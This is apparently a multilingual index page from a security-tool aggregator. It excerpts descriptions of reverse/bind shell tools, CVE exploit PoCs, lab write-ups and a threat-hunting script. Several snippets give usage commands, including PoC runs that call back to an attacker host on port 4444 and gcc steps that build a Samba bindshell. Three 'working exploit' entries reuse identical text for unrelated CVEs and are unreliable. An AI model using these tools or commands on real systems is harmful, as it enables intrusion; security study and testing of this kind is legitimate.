postshell

PostShell PostShell is a post-exploitation shell that includes both a bind and a back connect shell. It creates a fully interactive TTY which allows for job control. The stub size is around 14kb and can be compiled on any Unix like system. ScreenShots Banner and interaction with shell after a...

revsh

revsh revsh is a tool for establishing reverse shells with terminal support, reverse VPNs for advanced pivoting, as well as arbitrary data tunneling. News 2018-08-09 : New release. Mosly bug / stability fixes and better documentation on the build process with OpenSSL 1.1.0. See the Installation...

CVE-2020-0910

CVE-2020-0910 Working Exploit PoC CVE-2020-0910 - Reverse Bind Shell Tested using Python2.7 To Install: pip install -r requirements.txt To Run: python CVE-2020-0910-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

CVE-2017-7494_SambaCry

CVE-2017-7494 SambaCry Exploit SambaCry CVE-2017-7494 を悪用してSambaを攻撃（Metasploitなしのバインドシェル） ポートを変更する必要がある場合は、 bindshell-samba.c の68行目を変更して再コンパイルしてください： root@kitploit: gcc -c -fpic bindshell-samba.c root@kitploit: gcc -shared -o libbindshell-samba.so bindshell-samba.o 攻撃方法：...

cve-2010-4221

cve-2010-4221 This exploit was written to study some concepts, enjoy! Usage root@kitploit: Proftpd Telnet IAC remote generic exploit Writen by: F0rb1dd3n Usage: ./proftpd-exploit Attack Types: 0 - Socket Reuse 1 - Reverse Shell 2 - Bind Shell 3 - Your own shellcode raw format Just type the target...

GoSH

GoSH Golang reverse/bind shell generator Description This tool generates a Go binary that launches a shell of the desired type on the targeted host. The shell binary can be compiled for multiple platforms, supports partial polymorphism unique functions' names and can use UDP protocol instead of t...

ShellPop

ShellPop About Shellpop is all about popping shells. With this tool you can generate easy and sophisticated reverse or bind shell commands to help you during penetration tests. Don't waste more time with .txt files storing your Reverse shells! Installation Python 2.7 is required. 3.0+ version wil...

metasploitable-pentest-report

Metasploitable 2 — 渗透测试报告 免责声明： 本次渗透测试仅在私有的、隔离的 VMware 实验室环境中进行，仅供教育目的。未访问任何真实系统。所有 IP 地址均已匿名化处理。 概述 字段| 详情 ---|--- 测试人员| Prafullya Shandilya 目标| Metasploitable 2（故意存在漏洞的虚拟机） 攻击机| Kali Linux 网络| 隔离的 VMware 仅主机模式实验室 日期| 2026年5月9日 工具| Nmap 7.95, Metasploit v6.4.94, Netcat 发现摘要 方法 root@kitploit: Pha...

CVE-2024-54887-PoC

CVE-2024-54887 TypeScript PoC This repository contains a TypeScript ts-node rewrite of the public Python PoC for CVE-2024-54887 TP-Link TL-WR940N v3/v4 authenticated RCE. Prerequisites Node.js 20+ Install root@kitploit: npm install Usage root@kitploit: npx ts-node .\cve-2024-54887.ts --ip Optiona...

postshell

PostShell PostShellは、バインドシェルとバックコネクトシェルの両方を含むポストエクスプロイテーションシェルです。完全に対話型のTTYを作成し、ジョブ制御を可能にします。スタブサイズは約14kbで、任意のUnix系システムでコンパイルできます。 スクリーンショット 接続開始後のバナーとシェルとの対話。 なぜ従来のバックコネクト/バインドシェルを使わないのか？...

nginxhack

Questo è uno strumento che sfrutta un exploit chiamato CVE-2013-2028 per eseguire una bind shell sul server di destinazione che esegue Nginx 1.3.9 o 1.4.0. Può essere scaricato qui dovrai eseguirlo dalla riga di comando Utilizzo: nginxhack target target port target bind port...

SLAE

SecurityTube Linux Assembly Expert Questo post del blog è stato creato per soddisfare i requisiti della certificazione SecurityTube Linux Assembly Expert: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ ID studente: SLAE-1134 Articoli Esercizio 1: Shell di bind...

CVE-2024-27348

🔥 Toolkit di sfruttamento CVE-2024-27348 🎓 Progetto Accademico 📚 Corso: FC411 - Progettazione di Reti Sicure 👨‍🏫 Docente: Dr. Maira Sultan 🏫 Università: University of Prince Mugrin 📅 Anno: 2025 ⚡ Un toolkit completo per sfruttare CVE-2024-27348 Apache Huge-Graph-Server sviluppato come parte dei...

CVE-2020-0796

CVE-2020-0796 Funktionsfähiger Exploit PoC CVE-2020-0796 - Reverse Bind Shell Getestet mit Python2.7 Installation: pip install -r requirements.txt Ausführung: python CVE-2020-0796-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

jboss-autopwn

⚠️ NOTA: questo strumento non è più in manutenzione attiva. JBoss Autopwn Script Christian G. Papathanasiou http://www.spiderlabs.com INTRODUZIONE Questo script JBoss distribuisce una shell JSP sul server JBoss AS target. Una volta distribuito, lo script utilizza le sue capacità di upload ed...

hacktivity-vulns-exploits-lab

Vulnerabilità, Exploit e Payload di Accesso Remoto — writeup di laboratorio La mia guida e analisi del foglio Hacktivity Cyber Security Labs "Vulnerabilities, Exploits, and Remote Access Payloads" corso di Ethical Hacking e Penetration Testing, Leeds Beckett University. Tratta come le vulnerabili...

badblood

Bad Blood Bad Blood è un exploit per CVE-2021-20038, un buffer overflow basato su stack nel binario httpd dei sistemi della serie SMA-100 con versioni firmware 10.2.1.x. Ho scritto molti dei dettagli tecnici qui: AttackerKB CVE-2021-20038 L'exploit, così com'è scritto, aprirà una shell telnet bin...

Pwnkit-go

PwnKit-go-LPE CVE-2021-4034 Un exploit basato su golang per CVE-2021-4034 soprannominato pwnkit root@kitploit: @@@@@@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@@@@@ @@@@@@@@ @@@@@@ @@@@@@@@ @@@ @@@ @@@ @@@@ @@@ @@@ @@@ @@@ @@@@@@@ @@@@@@@@@ @@@@@@@@ @@! @@@ @@! @@! @@! @@!@!@@@ @@! !@@ @@! @@! !@@ @@!...

persisthunt

Rilevamento Persistenza Linux, Caccia alle Minacce e Raccolta di Artefatti Sommario Utilizzo Esempi di Rilevamento Tabella delle Tecniche Sommario persisthunt.sh aiuta ad accelerare le indagini raccogliendo artefatti mirati relativi alla persistenza ed evidenziando pattern sospetti comunemente...

CVE-2020-0688

CVE-2020-0688 Working Exploit PoC CVE-2020-0688 - Reverse Bind Shell Testato con Python2.7 Per installare: pip install -r requirements.txt Per eseguire: python CVE-2020-0688-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...